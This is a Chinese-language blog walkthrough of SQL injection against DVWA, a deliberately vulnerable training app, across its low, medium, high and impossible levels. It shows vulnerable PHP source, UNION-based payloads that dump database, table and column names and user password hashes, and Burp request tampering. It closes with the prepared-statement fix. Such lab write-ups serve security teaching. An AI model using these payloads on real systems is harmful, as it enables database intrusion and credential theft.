Security ❀ SQL Injection SQL注入

Posted 2021-12-11 国家级干饭型选手°

文章目录

• 1、low
• 2、medium
• 3、high
• 4、impossible

1、low

---

源码解析：

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

源码中并无任何防护，直接进行SQL注入即可；

注入框内命令说明：源码内附带SQL查询语句，输入框内数据代表源码中的 ‘$id’ 变量，使用union可以进行联合查询（union不会列出相同数据），#会注释该符号后面的所有内容，解析如下：

SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,database() #';

获取数据库名称；

1' union select 1,database() #

结果验证：

获取表名称；

1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #

结果验证：

获取列名称；

1' union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users' #

结果验证：

查询所有账户与密码信息；

1' or 1 = 1 union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #

结果验证：

获取到密码后，将密码字段单独复制在解密网页内进行解密；

解密成功；

结果验证：使用 gordonb/abc123登录DVWA，登录成功；

2、medium

---

源码解析：

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

源码限制了选择内容，可以通过Burpsuite修改http请求输入变量内容；

SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,database() #;

抓包修改；

修改完成；

结果验证：

3、high

---

源码解析：

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

源码中LIMIT可以限制输出的结果数量，可以使用#进行注释，#后面的命令均不在生效；

SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,database() #' LIMIT 1;

结果验证；

4、impossible

---

源码解析：校验变量只能为单个数字即可；

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>